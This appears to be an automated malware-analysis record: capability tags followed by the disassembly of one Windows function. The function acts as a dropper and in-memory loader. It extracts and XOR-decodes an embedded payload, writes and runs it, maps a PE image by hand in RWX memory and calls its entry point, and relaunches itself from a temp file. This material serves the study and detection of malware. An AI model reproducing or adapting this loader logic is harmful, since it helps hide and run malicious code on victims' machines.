Function at 0x4047c0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Delete file
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get common file path
Get file size
Read file on windows
Set environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7f0
mov eax, dword [0x47b650]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x47c470]
mov edx, dword [eax + 0xc]
push ebx
push esi
push edi
mov ecx, 0x47c470
call edx
add eax, 0x10
push 0x401240
lea ecx, [ebp - 0x788]
mov dword [ebp - 0x788], eax
call fcn.00404660
mov edx, dword [ebp - 0x788]
test eax, eax
je 0x404ec8
mov eax, edx
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404811
sub eax, esi
sar eax, 1
je 0x404ec8
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xa
push 1
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x404a12
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
je 0x404a12
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x404a12
xor esi, esi
push eax
mov dword [ebp - 0x798], esi
mov dword [ebp - 0x794], esi
mov dword [ebp - 0x790], esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
cmp edi, esi
je 0x404a12
lea edx, [ebp - 0x769]
push edx
lea eax, [ebx - 0x40]
xor ecx, ecx
push eax
push ecx
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x769], 0
call fcn.004043c0
push 0xff
lea eax, [ebp - 0x557]
push esi
push eax
mov byte [ebp - 0x558], 0
call fcn.00405c10
push 0x40
lea edx, [ebp - 0x558]
xor ecx, ecx
push edi
push edx
mov word [ebp - 0x458], cx
call fcn.004038e0
mov esi, dword [ebp - 0x798]
mov eax, dword [ebp - 0x794]
sub eax, esi
push eax
push esi
add edi, 0x40
lea ecx, [ebp - 0x558]
push edi
push ecx
call fcn.00403950
add esp, 0x28
test esi, esi
je 0x404a12
mov eax, esi
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404910
sub eax, edx
sar eax, 1
lea edx, [esi + eax*2 + 2]
mov eax, esi
mov dword [ebp - 0x764], edx
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404930
sub eax, edx
sar eax, 1
add eax, eax
xor edx, edx
mov ecx, 0xfffffffe
sub ecx, eax
push 0x206
push edx
lea eax, [ebp - 0x24a]
push eax
add ebx, ecx
mov word [ebp - 0x24c], dx
call fcn.00405c10
mov ecx, dword [ebp - 0x788]
push ecx
lea edx, [ebp - 0x24c]
push 0x104
push edx
call fcn.004060fd
add esp, 0x18
push esi
test eax, eax
jne 0x404a0a
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRenameExtensionW]
test eax, eax
je 0x404a09
push 0
push 0
push 4
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x24c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x404a09
cmp edi, 0xffffffff
je 0x404a09
mov eax, dword [ebp - 0x764]
push 0
lea edx, [ebp - 0x774]
push edx
push ebx
push eax
push edi
mov dword [ebp - 0x774], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, dword [ebp - 0x774]
jne 0x404a09
push 3
push 0
push 0
lea ecx, [ebp - 0x24c]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
call fcn.00405c99
add esp, 4
push 0
call fcn.00405ffe
push eax
call fcn.00406195
add esp, 8
call fcn.004061a7
mov esi, eax
mov edi, 0x4c4b40
mov edi, edi
call fcn.004061a7
imul esi, eax
dec edi
jne 0x404a30
push esi
push 0x40128c
call fcn.00406167
mov edx, dword [0x47c470]
mov eax, dword [edx + 0xc]
add esp, 8
mov ecx, 0x47c470
call eax
add eax, 0x10
push 0x401254
lea ecx, [ebp - 0x774]
mov dword [ebp - 0x774], eax
call fcn.00404660
mov ebx, dword [ebp - 0x774]
test eax, eax
je 0x404bae
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404a85
sub eax, edx
sar eax, 1
cmp eax, 0x80
jne 0x404bae
lea ecx, [ebp - 0x4d8]
push 0xfde9
mov dword [ebp - 0x4dc], ecx
push ebx
lea ecx, [ebp - 0x4dc]
call fcn.00403ce0
mov edx, dword [0x47c470]
mov eax, dword [edx + 0xc]
mov edi, dword [ebp - 0x4dc]
mov ecx, 0x47c470
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x77c], esi
test edi, edi
je 0x404b08
test edi, 0xffff0000
jne 0x404b0c
movzx edi, di
push 0
push edi
call fcn.00403b00
add esp, 8
test eax, eax
je 0x404b2d
push edi
push eax
lea ecx, [ebp - 0x77c]
call fcn.00404700
jmp 0x404b27
xor eax, eax
jmp 0x404b1a
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404b11
sub eax, edx
push eax
push edi
lea ecx, [ebp - 0x77c]
call fcn.004045c0
mov esi, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x4dc]
lea ecx, [ebp - 0x4d8]
cmp eax, ecx
je 0x404b46
push eax
call fcn.00405ec7
add esp, 4
push 0x3f
lea edx, [ebp - 0x43]
push 0
push edx
mov byte [ebp - 0x44], 0
call fcn.00405c10
mov eax, esi
add esp, 0xc
mov dword [ebp - 0x764], 0x40
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404b70
sub eax, edx
lea ecx, [ebp - 0x764]
push ecx
lea edx, [ebp - 0x44]
push edx
push eax
push esi
call fcn.00403b80
add esp, 0x10
test eax, eax
jne 0x404bd3
add esi, 0xfffffff0
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x404bae
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
lea eax, [ebx - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405350
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x405350
push 0xff
lea ecx, [ebp - 0x65b]
push 0
push ecx
mov byte [ebp - 0x65c], 0
call fcn.00405c10
push 0x40
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x65c]
xor edx, edx
push ecx
mov word [ebp - 0x55c], dx
call fcn.004038e0
push 0x6d5eb
push section..data
lea edx, [ebp - 0x65c]
push section..data
push edx
call fcn.00403950
add esp, 0x28
push 0x40
push 0x3000
push 0x400000
push 0
mov dword [ebp - 0x79c], 0x400000
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x404e98
xor ecx, ecx
mov eax, 0x80808081
mul ecx
shr edx, 7
add dl, cl
xor byte [ecx + section..data], dl
inc ecx
cmp ecx, 0x6d5eb
jb 0x404c50
push 0
lea eax, [ebp - 0x79c]
push eax
push edi
push 0x6d5eb
push section..data
call fcn.004034e0
add esp, 0x14
test eax, eax
jne 0x404e98
mov ecx, dword [edi + 0x3c]
mov esi, dword [ecx + edi + 0x80]
add ecx, edi
mov eax, 0xcccccccd
mul dword [ecx + 0x84]
shr edx, 4
add esi, edi
mov dword [ebp - 0x770], ecx
mov dword [ebp - 0x784], 1
mov dword [ebp - 0x768], edx
mov dword [ebp - 0x764], 0
test edx, edx
jle 0x404daa
add esi, 0xc
mov dword [ebp - 0x780], esi
lea esp, [esp]
mov edx, dword [ebp - 0x780]
mov eax, dword [edx]
test eax, eax
je 0x404d9d
cmp dword [ebp - 0x784], 0
je 0x404e98
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x778], eax
test eax, eax
je 0x404d6d
mov eax, dword [ebp - 0x780]
mov esi, dword [eax + 4]
mov ebx, dword [eax - 0xc]
add esi, edi
add ebx, edi
cmp dword [esi], 0
je 0x404d77
mov eax, dword [esi]
mov ecx, eax
and ecx, 0x80000000
cmp ecx, 0x80000000
jne 0x404d46
mov edx, dword [ebp - 0x778]
and eax, 0x7fffffff
push eax
push edx
jmp 0x404d52
mov ecx, dword [ebp - 0x778]
lea eax, [edi + eax + 2]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
test eax, eax
je 0x404d6d
mov dword [ebx], eax
add esi, 4
add ebx, 4
cmp dword [esi], 0
jne 0x404d25
jmp 0x404d77
mov dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x764]
add dword [ebp - 0x780], 0x14
mov ecx, dword [ebp - 0x770]
inc eax
mov dword [ebp - 0x764], eax
cmp eax, dword [ebp - 0x768]
jl 0x404ce0
cmp dword [ebp - 0x784], 0
je 0x404e98
movzx ebx, word [ecx + 6]
xor eax, eax
xor edx, edx
cmp ax, bx
jae 0x404e98
jmp 0x404dc0
movzx eax, dx
lea esi, [eax + eax*4]
cmp dword [ecx + esi*8 + 0xf8], 0x6c65722e
lea eax, [ecx + 0xf8]
jne 0x404de3
cmp dword [eax + esi*8 + 4], 0x636f
je 0x404dee
inc edx
cmp dx, bx
jb 0x404dc0
jmp 0x404e98
movzx ecx, dx
lea ecx, [ecx + ecx*4]
mov ecx, dword [eax + ecx*8 + 0xc]
add ecx, edi
je 0x404e98
cmp dword [ecx], 0
je 0x404e5d
mov eax, dword [ecx + 4]
sub eax, 8
shr eax, 1
xor edx, edx
mov dword [ebp - 0x768], eax
test eax, eax
jle 0x404e55
lea esp, [esp]
movzx eax, word [ecx + edx*2 + 8]
mov esi, eax
and esi, 0xf000
mov ebx, 0x3000
cmp bx, si
jne 0x404e4c
mov ebx, dword [ebp - 0x770]
and eax, 0xfff
add eax, dword [ecx]
mov esi, edi
sub esi, dword [ebx + 0x34]
add dword [eax + edi], esi
inc edx
cmp edx, dword [ebp - 0x768]
jl 0x404e20
add ecx, dword [ecx + 4]
cmp dword [ecx], 0
jne 0x404e05
mov edx, dword [ebp - 0x770]
mov eax, dword [edx + 0x78]
test eax, eax
je 0x404e98
mov ecx, edx
cmp dword [ecx + 0x7c], 0
je 0x404e98
cmp dword [edi + eax + 0x14], 0
jbe 0x404e98
mov esi, dword [edi + eax + 0x1c]
mov eax, dword [edx + 0x28]
test eax, eax
je 0x404e91
push 0
push 1
push edi
add eax, edi
call eax
test eax, eax
je 0x404e98
mov ecx, dword [esi + edi]
add ecx, edi
call ecx
mov eax, dword [ebp - 0x77c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x404eba
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x774]
add eax, 0xfffffff0
jmp 0x404bb1
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x452]
push edx
mov word [ebp - 0x454], cx
call fcn.00405c10
add esp, 0xc
push 0x104
lea eax, [ebp - 0x454]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x454]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404f03
sub eax, edx
sar eax, 1
je 0x405350
mov ebx, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
lea ecx, [ebp - 0x454]
push ecx
push 0x401240
call ebx
test eax, eax
je 0x405350
push 0
call fcn.00405ffe
push eax
call fcn.00406195
push 0x3f
lea edx, [ebp - 0x43]
push 0
push edx
mov byte [ebp - 0x44], 0
call fcn.00405c10
add esp, 0x14
xor esi, esi
call fcn.004061a7
mov byte [ebp + esi - 0x44], al
inc esi
cmp esi, 0x40
jb 0x404f57
push 0x80
lea eax, [ebp - 0x4d7]
push 0
push eax
mov byte [ebp - 0x4d8], 0
call fcn.00405c10
add esp, 0xc
lea eax, [ebp - 0x4d8]
lea ecx, [ebp - 0x42]
mov edi, 0x10
movzx esi, byte [ecx - 2]
mov edx, esi
shr edx, 4
movzx edx, byte [edx + 0x40127c]
mov byte [eax], dl
and esi, 0xf
movzx edx, byte [esi + 0x40127c]
movzx esi, byte [ecx - 1]
mov byte [eax + 1], dl
mov edx, esi
shr edx, 4
movzx edx, byte [edx + 0x40127c]
mov byte [eax + 2], dl
and esi, 0xf
movzx edx, byte [esi + 0x40127c]
movzx esi, byte [ecx]
mov byte [eax + 3], dl
mov edx, esi
shr edx, 4
movzx edx, byte [edx + 0x40127c]
mov byte [eax + 4], dl
and esi, 0xf
movzx edx, byte [esi + 0x40127c]
movzx esi, byte [ecx + 1]
mov byte [eax + 5], dl
mov edx, esi
shr edx, 4
movzx edx, byte [edx + 0x40127c]
mov byte [eax + 6], dl
and esi, 0xf
movzx edx, byte [esi + 0x40127c]
mov byte [eax + 7], dl
add eax, 8
add ecx, 4
dec edi
jne 0x404f91
push 0xfde9
lea ecx, [ebp - 0x4d8]
lea eax, [ebp - 0x75c]
push ecx
lea ecx, [ebp - 0x760]
mov dword [ebp - 0x760], eax
call fcn.00403f30
mov edx, dword [ebp - 0x760]
push edx
push 0x401254
call ebx
test eax, eax
mov eax, dword [ebp - 0x760]
lea ecx, [ebp - 0x75c]
sete bl
cmp eax, ecx
je 0x40506b
push eax
call fcn.00405ec7
add esp, 4
test bl, bl
jne 0x405350
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x24a]
push eax
mov word [ebp - 0x24c], dx
call fcn.00405c10
add esp, 0xc
lea ecx, [ebp - 0x24c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [ebp - 0x24c]
push edx
push 0
push 0
mov eax, edx
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea ecx, [ebp - 0x24c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x405350
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea edx, [ebp - 0x454]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
test esi, esi
je 0x405350
cmp esi, 0xffffffff
je 0x405340
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
je 0x405340
xor ebx, ebx
push eax
lea ecx, [ebp - 0x798]
mov dword [ebp - 0x798], ebx
mov dword [ebp - 0x794], ebx
mov dword [ebp - 0x790], ebx
call fcn.00404550
mov eax, dword [ebp - 0x798]
mov edi, dword [ebp - 0x794]
push ebx
lea ecx, [ebp - 0x764]
push ecx
sub edi, eax
push edi
push eax
push esi
mov dword [ebp - 0x764], ebx
mov dword [ebp - 0x768], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405329
cmp edi, dword [ebp - 0x764]
jne 0x405329
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, dword [eax + 0x3c]
movzx esi, word [edx + eax + 6]
add edx, eax
mov ecx, section..data
sub ecx, eax
xor eax, eax
cmp esi, ebx
jle 0x4051c1
lea esi, [edx + 0x104]
mov edi, dword [esi]
cmp edi, ecx
ja 0x4051a5
mov ebx, dword [esi + 4]
add ebx, edi
cmp ecx, ebx
jb 0x4051b3
movzx edi, word [edx + 6]
inc eax
add esi, 0x28
cmp eax, edi
jl 0x405196
jmp 0x4051c1
lea eax, [eax + eax*4]
lea eax, [edx + eax*8 + 0xf8]
test eax, eax
jne 0x4051dd
mov eax, dword [ebp - 0x798]
test eax, eax
je 0x405350
push eax
call fcn.00405c99
add esp, 4
jmp 0x405350
mov esi, dword [eax + 0x14]
sub esi, dword [eax + 0xc]
push 0xff
add esi, ecx
lea ecx, [ebp - 0x65b]
push 0
push ecx
mov byte [ebp - 0x65c], 0
call fcn.00405c10
push 0x40
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x65c]
xor edx, edx
push ecx
mov word [ebp - 0x55c], dx
call fcn.004038e0
mov edi, dword [ebp - 0x798]
push 0x6d5eb
add esi, edi
push esi
lea edx, [ebp - 0x65c]
push esi
push edx
call fcn.00403950
add esp, 0x28
push 0
push 0
push 4
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
test esi, esi
je 0x405322
cmp esi, 0xffffffff
je 0x405322
mov ebx, dword [ebp - 0x768]
push 0
lea ecx, [ebp - 0x778]
push ecx
push ebx
push edi
push esi
mov dword [ebp - 0x778], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x405315
cmp ebx, dword [ebp - 0x778]
jne 0x405315
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
lea edx, [ebp - 0x7ec]
push 0
push edx
call fcn.00405c10
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x7a8], eax
mov dword [ebp - 0x7a4], eax
mov dword [ebp - 0x7a0], eax
lea eax, [ebp - 0x7ac]
push eax
lea ecx, [ebp - 0x7f0]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x24c]
push edx
mov dword [ebp - 0x7f0], 0x44
mov dword [ebp - 0x7ac], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea ecx, [ebp - 0x798]
call fcn.00404330
jmp 0x405350
lea ecx, [ebp - 0x798]
call fcn.00404330
jmp 0x405340
test edi, edi
je 0x405340
push edi
jmp 0x405338
cmp dword [ebp - 0x798], ebx
je 0x405340
mov eax, dword [ebp - 0x798]
push eax
call fcn.00405c99
add esp, 4
test esi, esi
je 0x405350
cmp esi, 0xffffffff
je 0x405350
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x788]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
pop edi
pop esi
pop ebx
test edx, edx
jg 0x405375
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00405c8a
mov esp, ebp
pop ebp
ret 0x10